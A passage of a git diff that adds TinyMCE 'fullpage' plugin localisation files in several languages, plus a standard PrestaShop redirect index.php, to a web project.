fonte",fontface:"Fonte","meta_index_follow":"Indexar e segui-los v\u00ednculos","meta_index_nofollow":"Indexar e non segui-los v\u00ednculos","meta_noindex_follow":"Non indexar pero seguir v\u00ednculos","meta_noindex_nofollow":"Non indexar e non seguir v\u00ednculos","appearance_style":"Propiedades de folla de estilos e estilo",stylesheet:"Folla de estilo",style:"Estilo",author:"Autor",copyright:"Copyright",add:"Agregar novo elemento",remove:"Eliminar elemento seleccionado",moveup:"Mover elemento seleccionado arriba",movedown:"Mover elemento seleccionado abaixo","head_elements":"Elementos Head",info:"Informaci\u00f3n","add_title":"Elemento Title","add_meta":"Elemento Meta","add_script":"Elemento Script","add_style":"Elemento Style","add_link":"Elemento Link","add_base":"Elemento Base","add_comment":"Nodo Comment","title_element":"Elemento Title","script_element":"Elemento Script","style_element":"Elemento Style","base_element":"Elemento Base","link_element":"Elemento Link","meta_element":"Elemento Meta","comment_element":"Comentario",src:"Src",language:"Lenguaxe",href:"Href",target:"Obxetivo",type:"Tipo",charset:"Charset",defer:"Defer",media:"Medio",properties:"Propiedades",name:"Nome",value:"Valor",content:"Contido",rel:"Rel",rev:"Rev",hreflang:"Href lang","general_props":"Xeral","advanced_props":"Avanzado"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullpage/langs/he_dlg.js b/js/tiny_mce2/plugins/fullpage/langs/he_dlg.js new file mode 100755 index 0000000..341e5bb --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/langs/he_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('he.fullpage_dlg',{title:"\u05de\u05d0\u05e4\u05d9\u05d9\u05e0\u05d9 \u05de\u05e1\u05de\u05da","meta_tab":"\u05db\u05dc\u05dc\u05d9","appearance_tab":"\u05de\u05e8\u05d0\u05d4","advanced_tab":"\u05de\u05ea\u05e7\u05d3\u05dd","meta_props":"\u05ea\u05d2\u05d9 \u05de\u05d8\u05d4",langprops:"\u05e9\u05e4\u05d4 \u05d5\u05e7\u05d9\u05d3\u05d5\u05d3","meta_title":"\u05db\u05d5\u05ea\u05e8\u05ea","meta_keywords":"\u05de\u05d9\u05dc\u05d5\u05ea \u05de\u05e4\u05ea\u05d7","meta_description":"\u05ea\u05d9\u05d0\u05d5\u05e8","meta_robots":"\u05e8\u05d5\u05d1\u05d5\u05d8\u05d9\u05dd",doctypes:"Doctype",langcode:"\u05e7\u05d5\u05d3 \u05d4\u05e9\u05e4\u05d4",langdir:"\u05db\u05d9\u05d5\u05d5\u05df \u05d4\u05e9\u05e4\u05d4",ltr:"\u05de\u05e9\u05de\u05d0\u05dc \u05dc\u05d9\u05de\u05d9\u05df",rtl:"\u05de\u05d9\u05de\u05d9\u05df \u05dc\u05e9\u05de\u05d0\u05dc","xml_pi":"XML declaration",encoding:"\u05e7\u05d9\u05d3\u05d5\u05d3 \u05ea\u05d5\u05d5\u05d9\u05dd","appearance_bgprops":"\u05de\u05d0\u05e4\u05d9\u05d9\u05e0\u05d9 \u05e8\u05e7\u05e2","appearance_marginprops":"Body margins","appearance_linkprops":"\u05e6\u05d1\u05e2 \u05e7\u05d9\u05e9\u05d5\u05e8\u05d9\u05dd","appearance_textprops":"Text properties",bgcolor:"\u05e6\u05d1\u05e2 \u05e8\u05e7\u05e2",bgimage:"\u05ea\u05de\u05d5\u05e0\u05ea \u05e8\u05e7\u05e2","left_margin":"\u05e9\u05d5\u05dc\u05d9\u05d9\u05dd \u05e9\u05de\u05d0\u05dc\u05d9\u05d9\u05dd","right_margin":"\u05e9\u05d5\u05dc\u05d9\u05d9\u05dd \u05d9\u05de\u05e0\u05d9\u05d9\u05dd","top_margin":"\u05e9\u05d5\u05dc\u05d9\u05d9\u05dd \u05e2\u05dc\u05d9\u05d5\u05e0\u05d9\u05dd","bottom_margin":"\u05e9\u05d5\u05dc\u05d9\u05d9\u05dd \u05ea\u05d7\u05ea\u05d9\u05d9\u05dd","text_color":"\u05e6\u05d1\u05e2 \u05d8\u05e7\u05e1\u05d8","font_size":"\u05d2\u05d5\u05d3\u05dc \u05d2\u05d5\u05e4\u05df","font_face":"\u05e1\u05d5\u05d2 \u05d2\u05d5\u05e4\u05df","link_color":"\u05e6\u05d1\u05e2 \u05e7\u05d9\u05e9\u05d5\u05e8","hover_color":"\u05e6\u05d1\u05e2 \u05e7\u05d9\u05e9\u05d5\u05e8 \u05d1\u05de\u05e2\u05d1\u05e8 \u05e2\u05db\u05d1\u05e8","visited_color":"\u05e6\u05d1\u05e2 \u05e7\u05d9\u05e9\u05d5\u05e8 \u05e9\u05e0\u05e6\u05e4\u05d4","active_color":"\u05e6\u05d1\u05e2 \u05e7\u05d9\u05e9\u05d5\u05e8 \u05e4\u05e2\u05d9\u05dc",textcolor:"\u05e6\u05d1\u05e2",fontsize:"\u05d2\u05d5\u05d3\u05dc \u05d2\u05d5\u05e4\u05df",fontface:"\u05d2\u05d5\u05e4\u05df","meta_index_follow":"Index and follow the links","meta_index_nofollow":"Index and don\'t follow the links","meta_noindex_follow":"Do not index but follow the links","meta_noindex_nofollow":"Do not index and don\\\'t follow the links","appearance_style":"Stylesheet and style properties",stylesheet:"\u05e1\u05d2\u05e0\u05d5\u05df \u05e2\u05d9\u05e6\u05d5\u05d1",style:"\u05e2\u05d9\u05e6\u05d5\u05d1",author:"\u05db\u05d5\u05ea\u05d1",copyright:"\u05d6\u05db\u05d5\u05d9\u05d5\u05ea \u05d9\u05d5\u05e6\u05e8\u05d9\u05dd",add:"Add new element",remove:"Remove selected element",moveup:"Move selected element up",movedown:"Move selected element down","head_elements":"Head elements",info:"\u05de\u05d9\u05d3\u05e2","add_title":"Title element","add_meta":"Meta element","add_script":"Script element","add_style":"Style element","add_link":"Link element","add_base":"Base element","add_comment":"Comment node","title_element":"Title element","script_element":"Script element","style_element":"Style element","base_element":"Base element","link_element":"Link element","meta_element":"Meta element","comment_element":"\u05ea\u05d2\u05d5\u05d1\u05d4",src:"\u05db\u05ea\u05d5\u05d1\u05ea \u05de\u05e7\u05d5\u05e8",language:"\u05e9\u05e4\u05d4",href:"Href",target:"\u05d9\u05e2\u05d3",type:"\u05e1\u05d5\u05d2",charset:"\u05e7\u05d9\u05d3\u05d5\u05d3",defer:"Defer",media:"\u05de\u05d3\u05d9\u05d4",properties:"\u05de\u05d0\u05e4\u05d9\u05d9\u05e0\u05d9\u05dd",name:"\u05e9\u05dd",value:"\u05e2\u05e8\u05da",content:"\u05ea\u05d5\u05db\u05df",rel:"Rel",rev:"Rev",hreflang:"Href lang","general_props":"\u05db\u05dc\u05dc\u05d9","advanced_props":"\u05de\u05ea\u05e7\u05d3\u05dd"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullpage/langs/hu_dlg.js b/js/tiny_mce2/plugins/fullpage/langs/hu_dlg.js new file mode 100755 index 0000000..b206705 --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/langs/hu_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('hu.fullpage_dlg',{title:"Dokumentum tulajdons\u00e1gai","meta_tab":"\u00c1ltal\u00e1nos","appearance_tab":"Megjelen\u00e9s","advanced_tab":"Halad\u00f3","meta_props":"Meta inform\u00e1ci\u00f3",langprops:"Nyelv \u00e9s k\u00f3dol\u00e1s","meta_title":"C\u00edm","meta_keywords":"Kulcsszavak","meta_description":"Le\u00edr\u00e1s","meta_robots":"Robotok",doctypes:"Doctype",langcode:"Nyelvk\u00f3d",langdir:"\u00cdr\u00e1s ir\u00e1nya",ltr:"Balr\u00f3l jobra",rtl:"Jobbr\u00f3l balra","xml_pi":"XML deklar\u00e1ci\u00f3",encoding:"Karakterk\u00f3dol\u00e1s","appearance_bgprops":"H\u00e1tt\u00e9r tulajdons\u00e1gai","appearance_marginprops":"Test keret","appearance_linkprops":"Link sz\u00ednek","appearance_textprops":"Sz\u00f6veg tulajdons\u00e1gai",bgcolor:"H\u00e1tt\u00e9rsz\u00edn",bgimage:"H\u00e1tt\u00e9rk\u00e9p","left_margin":"Bal marg\u00f3","right_margin":"Jobb marg\u00f3","top_margin":"Fels\u0151 marg\u00f3","bottom_margin":"Als\u00f3 marg\u00f3","text_color":"Sz\u00f6vegsz\u00edn","font_size":"Bet\u0171m\u00e9ret","font_face":"Bet\u0171t\u00edpus","link_color":"Link sz\u00edn","hover_color":"F\u00f6l\u00e9vitt sz\u00edn","visited_color":"L\u00e1togatva sz\u00edn","active_color":"Akt\u00edv sz\u00edn",textcolor:"Sz\u00edn",fontsize:"Bet\u0171m\u00e9ret",fontface:"Bet\u0171t\u00edpus","meta_index_follow":"Indexel \u00e9s k\u00f6veti a linkeket","meta_index_nofollow":"Indexel, de nem k\u00f6veti a linkeket","meta_noindex_follow":"Nem indexel, de k\u00f6veti a linkeket","meta_noindex_nofollow":"Nem indexel \u00e9s nem k\u00f6veti a linkeket","appearance_style":"Stylesheet \u00e9s style tulajdons\u00e1gok",stylesheet:"Stylesheet",style:"Style",author:"Szerz\u0151",copyright:"Copyright",add:"\u00daj elem hozz\u00e1ad\u00e1sa",remove:"Kijel\u00f6lt elem t\u00f6rl\u00e9se",moveup:"Kijel\u00f6lt elem felfel\u00e9 mozgat\u00e1sa",movedown:"Kijel\u00f6lt elem lefel\u00e9 mozgat\u00e1sa","head_elements":"Fej elemek",info:"Inform\u00e1ci\u00f3","add_title":"C\u00edm elem","add_meta":"Meta elem","add_script":"Script elem","add_style":"Style elem","add_link":"Link elem","add_base":"Base elem","add_comment":"Comment elem","title_element":"Title elem","script_element":"Script elem","style_element":"Style elem","base_element":"Base elem","link_element":"Link elem","meta_element":"Meta elem","comment_element":"Megjegyz\u00e9s",src:"Src",language:"Language",href:"Href",target:"Target",type:"Type",charset:"Charset",defer:"Defer",media:"Media",properties:"Properties",name:"Name",value:"Value",content:"Content",rel:"Rel",rev:"Rev",hreflang:"Href lang","general_props":"\u00c1ltal\u00e1nos","advanced_props":"Halad\u00f3"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullpage/langs/id_dlg.js b/js/tiny_mce2/plugins/fullpage/langs/id_dlg.js new file mode 100755 index 0000000..051788f --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/langs/id_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('id.fullpage_dlg',{title:"Document properties","meta_tab":"General","appearance_tab":"Appearance","advanced_tab":"Advanced","meta_props":"Meta information",langprops:"Language and encoding","meta_title":"Title","meta_keywords":"Keywords","meta_description":"Description","meta_robots":"Robots",doctypes:"Doctype",langcode:"Language code",langdir:"Language direction",ltr:"Left to right",rtl:"Right to left","xml_pi":"XML declaration",encoding:"Character encoding","appearance_bgprops":"Background properties","appearance_marginprops":"Body margins","appearance_linkprops":"Link colors","appearance_textprops":"Text properties",bgcolor:"Background color",bgimage:"Background image","left_margin":"Left margin","right_margin":"Right margin","top_margin":"Top margin","bottom_margin":"Bottom margin","text_color":"Text color","font_size":"Font size","font_face":"Font face","link_color":"Link color","hover_color":"Hover color","visited_color":"Visited color","active_color":"Active color",textcolor:"Color",fontsize:"Font size",fontface:"Font family","meta_index_follow":"Index and follow the links","meta_index_nofollow":"Index and don\'t follow the links","meta_noindex_follow":"Do not index but follow the links","meta_noindex_nofollow":"Do not index and don\\\'t follow the links","appearance_style":"Stylesheet and style properties",stylesheet:"Stylesheet",style:"Style",author:"Author",copyright:"Copyright",add:"Add new element",remove:"Remove selected element",moveup:"Move selected element up",movedown:"Move selected element down","head_elements":"Head elements",info:"Information","add_title":"Title element","add_meta":"Meta element","add_script":"Script element","add_style":"Style element","add_link":"Link element","add_base":"Base element","add_comment":"Comment node","title_element":"Title element","script_element":"Script element","style_element":"Style element","base_element":"Base element","link_element":"Link element","meta_element":"Meta element","comment_element":"Comment",src:"Src",language:"Language",href:"Href",target:"Target",type:"Type",charset:"Charset",defer:"Defer",media:"Media",properties:"Properties",name:"Name",value:"Value",content:"Content",rel:"Rel",rev:"Rev",hreflang:"Href lang","general_props":"General","advanced_props":"Advanced"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullpage/langs/index.php b/js/tiny_mce2/plugins/fullpage/langs/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/langs/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/fullpage/langs/it_dlg.js b/js/tiny_mce2/plugins/fullpage/langs/it_dlg.js new file mode 100755 index 0000000..d5445e8 --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/langs/it_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('it.fullpage_dlg',{title:"Propriet\u00e0 Documento","meta_tab":"Generale","appearance_tab":"Aspetto","advanced_tab":"Avanzate","meta_props":"Informazioni Metatag",langprops:"Lingua e codifica","meta_title":"Titolo","meta_keywords":"Parole chiave","meta_description":"Descrizione","meta_robots":"Robots",doctypes:"Doctype",langcode:"Codice lingua",langdir:"Direzione testo",ltr:"Sinistra verso destra",rtl:"Destra verso sinistra","xml_pi":"Dichiarazione XML",encoding:"Codifica carattere","appearance_bgprops":"Propriet\u00e0 sfondo","appearance_marginprops":"Margini body","appearance_linkprops":"Colori collegamenti","appearance_textprops":"Propriet\u00e0 testo",bgcolor:"Colore sfondo",bgimage:"Immagine sfondo","left_margin":"Margine sinistro","right_margin":"Margine destro","top_margin":"Margine superiore","bottom_margin":"Margine inferiore","text_color":"Colore testo","font_size":"Dimensione carattere","font_face":"Tipo carattere","link_color":"Colore collegamento","hover_color":"Colore \\\'Hover\\\'","visited_color":"Colore \\\'Visited\\\'","active_color":"Colore \\\'Active\\\'",textcolor:"Colore",fontsize:"Dimensione carattere",fontface:"Famiglia carattere","meta_index_follow":"Indicizzare e seguire collegamenti","meta_index_nofollow":"Indicizzare e non segure collegamenti","meta_noindex_follow":"Non indicizzare ma seguire collegamenti","meta_noindex_nofollow":"Non indicizzare e non seguire collegamenti","appearance_style":"Propriet\u00e0 stili e fogli di stile",stylesheet:"Fogli di stile",style:"Stile",author:"Autore",copyright:"Copyright",add:"Aggiungi nuovo elemento",remove:"Rimuovi elemento selezionato",moveup:"Sposta elemento selezionato in alto",movedown:"Sposta elemento selezionato in basso","head_elements":"Elementi Head",info:"Informazioni","add_title":"Elemento Titolo","add_meta":"Elemento Meta","add_script":"Elemento Script","add_style":"Elemento Style","add_link":"Elemento Link","add_base":"Elemento Base","add_comment":"Nodo Commento","title_element":"Elemento Titolo","script_element":"Elemento Script","style_element":"Elemento Style","base_element":"Elemento Base","link_element":"Elemento Link","meta_element":"Elemento Meta","comment_element":"Commento",src:"Sorgente",language:"Linguaggio",href:"Href",target:"Target",type:"Tipo",charset:"Set caratteri",defer:"Defer",media:"Media",properties:"Propriet\u00e0",name:"Nome",value:"Valore",content:"Contenuto",rel:"Rel",rev:"Rev",hreflang:"Href lang","general_props":"Generale","advanced_props":"Avanzate"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullpage/langs/ja_dlg.js b/js/tiny_mce2/plugins/fullpage/langs/ja_dlg.js new file mode 100755 index 0000000..759ac4e --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/langs/ja_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ja.fullpage_dlg',{title:"\u30da\u30fc\u30b8\u306e\u5c5e\u6027","meta_tab":"\u4e00\u822c","appearance_tab":"\u8868\u793a","advanced_tab":"\u9ad8\u5ea6\u306a\u8a2d\u5b9a","meta_props":"\u30e1\u30bf\u60c5\u5831",langprops:"\u8a00\u8a9e\u3068\u30a8\u30f3\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0","meta_title":"\u30bf\u30a4\u30c8\u30eb","meta_keywords":"\u30ad\u30fc\u30ef\u30fc\u30c9","meta_description":"\u8aac\u660e","meta_robots":"\u691c\u7d22\u30ed\u30dc\u30c3\u30c8\u306e\u5236\u5fa1",doctypes:"\u6587\u66f8\u578b",langcode:"\u8a00\u8a9e\u30b3\u30fc\u30c9",langdir:"\u6587\u7ae0\u306e\u65b9\u5411",ltr:"\u5de6\u304b\u3089\u53f3",rtl:"\u53f3\u304b\u3089\u5de6","xml_pi":"XML\u5ba3\u8a00",encoding:"\u6587\u5b57\u30a8\u30f3\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0","appearance_bgprops":"\u80cc\u666f\u306e\u5c5e\u6027","appearance_marginprops":"Body\u306e\u4f59\u767d","appearance_linkprops":"\u30ea\u30f3\u30af\u306e\u8272","appearance_textprops":"\u6587\u5b57\u306e\u5c5e\u6027",bgcolor:"\u80cc\u666f\u306e\u8272",bgimage:"\u80cc\u666f\u306e\u753b\u50cf","left_margin":"\u5de6\u306e\u4f59\u767d","right_margin":"\u53f3\u306e\u4f59\u767d","top_margin":"\u4e0a\u306e\u4f59\u767d","bottom_margin":"\u4e0b\u306e\u4f59\u767d","text_color":"\u6587\u5b57\u306e\u8272","font_size":"\u6587\u5b57\u306e\u5927\u304d\u3055","font_face":"\u30d5\u30a9\u30f3\u30c8","link_color":"\u30ea\u30f3\u30af\u306e\u8272","hover_color":"\u30de\u30a6\u30b9\u30ab\u30fc\u30bd\u30eb\u304c\u3042\u308b\u30ea\u30f3\u30af\u306e\u8272(hover)","visited_color":"\u65e2\u306b\u8aad\u3093\u3060\u30ea\u30f3\u30af\u306e\u8272(visited)","active_color":"\u30af\u30ea\u30c3\u30af\u3057\u305f\u77ac\u9593\u306e\u30ea\u30f3\u30af\u306e\u8272(active)",textcolor:"\u8272",fontsize:"\u6587\u5b57\u306e\u5927\u304d\u3055",fontface:"\u30d5\u30a9\u30f3\u30c8","meta_index_follow":"\u30a4\u30f3\u30c7\u30c3\u30af\u30b9\u306b\u4f7f\u7528\u3057\u3066\u30ea\u30f3\u30af\u3092\u305f\u3069\u308b","meta_index_nofollow":"\u30a4\u30f3\u30c7\u30c3\u30af\u30b9\u306b\u4f7f\u7528\u3057\u3066\u30ea\u30f3\u30af\u306f\u305f\u3069\u3089\u306a\u3044","meta_noindex_follow":"\u30a4\u30f3\u30c7\u30c3\u30af\u30b9\u306b\u4f7f\u7528\u3057\u306a\u3044\u304c\u30ea\u30f3\u30af\u3092\u305f\u3069\u308b","meta_noindex_nofollow":"\u30a4\u30f3\u30c7\u30c3\u30af\u30b9\u306b\u4f7f\u7528\u3057\u306a\u3044\u3067\u30ea\u30f3\u30af\u3082\u305f\u3069\u3089\u306a\u3044","appearance_style":"\u30b9\u30bf\u30a4\u30eb\u30b7\u30fc\u30c8\u3068\u30b9\u30bf\u30a4\u30eb\u306e\u5c5e\u6027",stylesheet:"\u30b9\u30bf\u30a4\u30eb\u30b7\u30fc\u30c8",style:"\u30b9\u30bf\u30a4\u30eb",author:"\u4f5c\u6210\u8005",copyright:"\u8457\u4f5c\u6a29",add:"\u65b0\u3057\u304f\u8981\u7d20\u3092\u8ffd\u52a0",remove:"\u9078\u629e\u3057\u305f\u8981\u7d20\u3092\u524a\u9664",moveup:"\u9078\u629e\u3057\u305f\u8981\u7d20\u3092\u4e0a\u306b\u79fb\u52d5",movedown:"\u9078\u629e\u3057\u305f\u8981\u7d20\u3092\u4e0b\u306b\u79fb\u52d5","head_elements":"Head\u8981\u7d20",info:"\u60c5\u5831","add_title":"Title\u8981\u7d20","add_meta":"Meta\u8981\u7d20","add_script":"Script\u8981\u7d20","add_style":"Style\u8981\u7d20","add_link":"Link\u8981\u7d20","add_base":"Base\u8981\u7d20","add_comment":"Comment\u30ce\u30fc\u30c9","title_element":"Title\u8981\u7d20","script_element":"Script\u8981\u7d20","style_element":"Style\u8981\u7d20","base_element":"Base\u8981\u7d20","link_element":"Link\u8981\u7d20","meta_element":"Meta\u8981\u7d20","comment_element":"\u30b3\u30e1\u30f3\u30c8",src:"src",language:"\u8a00\u8a9e",href:"Href",target:"Target",type:"Type",charset:"Charset",defer:"Defer",media:"Media",properties:"Properties",name:"Name",value:"Value",content:"Content",rel:"Rel",rev:"Rev",hreflang:"Href\u306e\u8a00\u8a9e","general_props":"\u4e00\u822c","advanced_props":"\u9ad8\u5ea6\u306a\u8a2d\u5b9a"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullpage/langs/ka_dlg.js b/js/tiny_mce2/plugins/fullpage/langs/ka_dlg.js new file mode 100755 index 0000000..0bf6789 --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/langs/ka_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ka.fullpage_dlg',{title:"\u10d3\u10dd\u10d9\u10e3\u10db\u10d4\u10dc\u10e2\u10d8\u10e1 \u10db\u10d0\u10ee\u10d0\u10e1\u10d8\u10d0\u10d7\u10d4\u10d1\u10da\u10d4\u10d1\u10d8","meta_tab":"\u10e1\u10d0\u10d4\u10e0\u10d7\u10dd","appearance_tab":"\u10e9\u10d5\u10d4\u10dc\u10d4\u10d1\u10d0","advanced_tab":"\u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d8\u10d7","meta_props":"\u10d8\u10dc\u10e4\u10dd\u10e0\u10db\u10d0\u10ea\u10d8\u10d8\u10e1 \u10db\u10d8\u10d6\u10d0\u10dc\u10d8",langprops:"\u10d4\u10dc\u10d0 \u10d3\u10d0 \u10d9\u10dd\u10d3\u10d8\u10e0\u10d4\u10d1\u10d0","meta_title":"\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8","meta_keywords":"\u10e1\u10d0\u10d9\u10d5\u10d0\u10dc\u10eb\u10dd \u10e1\u10d8\u10e2\u10e7\u10d5\u10d4\u10d1\u10d8","meta_description":"\u10d0\u10e0\u10ec\u10d4\u10e0\u10d0","meta_robots":"\u10dc\u10d0\u10db\u10e3\u10e8\u10d4\u10d5\u10e0\u10d4\u10d1\u10d8",doctypes:"\u10e2\u10d8\u10de\u10d8",langcode:"\u10d4\u10dc\u10d8\u10e1 \u10d9\u10dd\u10d3\u10d8",langdir:"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10db\u10d8\u10db\u10d0\u10e0\u10d7\u10e3\u10da\u10d4\u10d1\u10d0",ltr:"\u10db\u10d0\u10e0\u10ea\u10e1\u10dc\u10d8\u10d3\u10d0\u10dc \u10db\u10d0\u10e0\u10ef\u10d5\u10dc\u10d8\u10d5",rtl:"\u10db\u10d0\u10e0\u10ef\u10d5\u10dc\u10d8\u10d3\u10d0\u10dc \u10db\u10d0\u10e0\u10ea\u10ee\u10dc\u10d8\u10d5","xml_pi":"XML \u10d2\u10d0\u10dc\u10ea\u10ee\u10d0\u10d3\u10d4\u10d1\u10d0",encoding:"\u10d9\u10dd\u10d3\u10d8\u10e0\u10d4\u10d1\u10d0","appearance_bgprops":"\u10e4\u10dd\u10dc\u10d8\u10e1 \u10db\u10d0\u10ee\u10d0\u10e1\u10d8\u10d0\u10d7\u10d4\u10d1\u10da\u10d4\u10d1\u10d8","appearance_marginprops":"\u10d3\u10d0\u10e8\u10dd\u10e0\u10d4\u10d1\u10d4\u10d1\u10d8","appearance_linkprops":"\u10d1\u10db\u10e3\u10da\u10d4\u10d1\u10d8\u10e1 \u10e4\u10d4\u10e0\u10d8","appearance_textprops":"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10db\u10d0\u10d0\u10e1\u10d8\u10d0\u10d7\u10d4\u10d1\u10da\u10d4\u10d1\u10d8",bgcolor:"\u10e4\u10dd\u10dc\u10d8\u10e1 \u10e4\u10d4\u10e0\u10d8",bgimage:"\u10e4\u10dd\u10dc\u10e3\u10e0\u10d8 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10ee\u10e3\u10da\u10d4\u10d1\u10d0","left_margin":"\u10d3\u10d0\u10e8\u10dd\u10e0\u10d4\u10d1\u10d0 \u10db\u10d0\u10e0\u10ea\u10e1\u10dc\u10d8\u10d3\u10d0\u10dc","right_margin":"\u10d3\u10d0\u10e8\u10dd\u10e0\u10d4\u10d1\u10d0 \u10db\u10d0\u10e0\u10ef\u10d5\u10dc\u10d8\u10d3\u10d0\u10dc","top_margin":"\u10d3\u10d0\u10e8\u10dd\u10e0\u10d4\u10d1\u10d0 \u10d6\u10d4\u10db\u10dd\u10d3\u10d0\u10dc","bottom_margin":"\u10d3\u10d0\u10e8\u10dd\u10e0\u10d4\u10d1\u10d0 \u10e5\u10d5\u10d4\u10db\u10dd\u10d3\u10d0\u10dc","text_color":"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10e4\u10d4\u10e0\u10d8","font_size":"\u10e8\u10e0\u10d8\u10e4\u10e2\u10d8\u10e1 \u10d6\u10dd\u10db\u10d0","font_face":"\u10e8\u10e0\u10d8\u10e4\u10e2\u10d8","link_color":"\u10d1\u10db\u10e3\u10da\u10d8\u10e1 \u10e4\u10d4\u10e0\u10d8","hover_color":"\u10d1\u10db\u10e3\u10da\u10d8\u10e1 \u10e4\u10d4\u10e0\u10d8 \u10d2\u10d0\u10d0\u10e5\u10e2\u10d8\u10e3\u10e0\u10d4\u10d1\u10d8\u10e1\u10d0\u10e1","visited_color":"\u10d2\u10d0\u10d0\u10e5\u10e2\u10d8\u10e3\u10e0\u10d4\u10d1\u10e3\u10da\u10d8 \u10d1\u10db\u10e3\u10da\u10d8\u10e1 \u10e4\u10d4\u10e0\u10d8","active_color":"\u10d0\u10e5\u10e2\u10d8\u10e3\u10e0\u10d8 \u10d1\u10db\u10e3\u10da\u10d8\u10e1 \u10e4\u10d4\u10e0\u10d8",textcolor:"\u10e4\u10d4\u10e0\u10d8",fontsize:"\u10e8\u10e0\u10d8\u10e4\u10e2\u10d8\u10e1 \u10d6\u10dd\u10db\u10d0",fontface:"\u10e8\u10e0\u10d8\u10e4\u10e2\u10d8\u10e1 \u10d9\u10d0\u10e2\u10d4\u10d2\u10dd\u10e0\u10d8\u10d0","meta_index_follow":"\u10d3\u10d0\u10d5\u10d0\u10d8\u10dc\u10d3\u10d4\u10e5\u10e1\u10dd\u10d7 \u10d3\u10d0 \u10d2\u10d0\u10d5\u10e7\u10d5\u10d4\u10d7 \u10d1\u10db\u10e3\u10da\u10d4\u10d1\u10e1","meta_index_nofollow":"\u10d3\u10d0\u10d5\u10d0\u10d8\u10dc\u10d3\u10d4\u10e5\u10e1\u10dd\u10d7 \u10d3\u10d0 \u10d0\u10e0 \u10d2\u10d0\u10d5\u10e7\u10d5\u10d4\u10d7 \u10d1\u10db\u10e3\u10da\u10d4\u10d1\u10e1","meta_noindex_follow":"\u10d0\u10e0 \u10d3\u10d0\u10d5\u10d0\u10d8\u10dc\u10d3\u10d4\u10e5\u10e1\u10dd\u10d7, \u10db\u10d0\u10d2\u10e0\u10d0\u10db \u10d1\u10db\u10e3\u10da\u10d4\u10d1\u10e1 \u10d2\u10d0\u10d5\u10e7\u10d5\u10d4\u10d7","meta_noindex_nofollow":"\u10d0\u10e0 \u10d3\u10d0\u10d5\u10d0\u10d8\u10dc\u10d3\u10d4\u10e5\u10e1\u10dd\u10d7 \u10d3\u10d0 \u10d0\u10e0 \u10d2\u10d0\u10d5\u10e7\u10d5\u10d4\u10d7 \u10d1\u10db\u10e3\u10da\u10d4\u10d1\u10e1","appearance_style":"\u10e1\u10e2\u10d8\u10da\u10d4\u10d1\u10d8\u10e1 \u10db\u10d0\u10e9\u10d5\u10d4\u10dc\u10d4\u10d1\u10da\u10d4\u10d1\u10d8 \u10d3\u10d0 \u10e1\u10d8\u10d0",stylesheet:"\u10e1\u10e2\u10d8\u10da\u10d4\u10d1\u10d8\u10e1 \u10e1\u10d8\u10d0",style:"\u10e1\u10e2\u10d8\u10da\u10d8",author:"\u10d0\u10d5\u10e2\u10dd\u10e0\u10d8",copyright:"\u10d9\u10dd\u10de\u10d8\u10e0\u10d0\u10d8\u10e2\u10d8",add:"\u10d0\u10ee\u10d0\u10da\u10d8 \u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d8\u10e1 \u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0",remove:"\u10db\u10dd\u10dc\u10d8\u10e8\u10dc\u10e3\u10da\u10d8 \u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d8\u10e1 \u10ec\u10d0\u10e8\u10da\u10d0",moveup:"\u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d8\u10e1 \u10d6\u10d4\u10db\u10dd\u10d7 \u10d2\u10d0\u10d3\u10d0\u10d0\u10d3\u10d2\u10d8\u10da\u10d4\u10d1\u10d0",movedown:"\u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d8\u10e1 \u10e5\u10d5\u10d4\u10db\u10dd\u10d7 \u10d2\u10d0\u10d3\u10d0\u10d0\u10d3\u10d2\u10d8\u10da\u10d4\u10d1\u10d0","head_elements":"\u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d8 Header",info:"\u10d8\u10dc\u10e4\u10dd\u10e0\u10db\u10d0\u10ea\u10d8\u10d0","add_title":"\u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d8 Title","add_meta":"\u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d8 Meta","add_script":"\u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d8 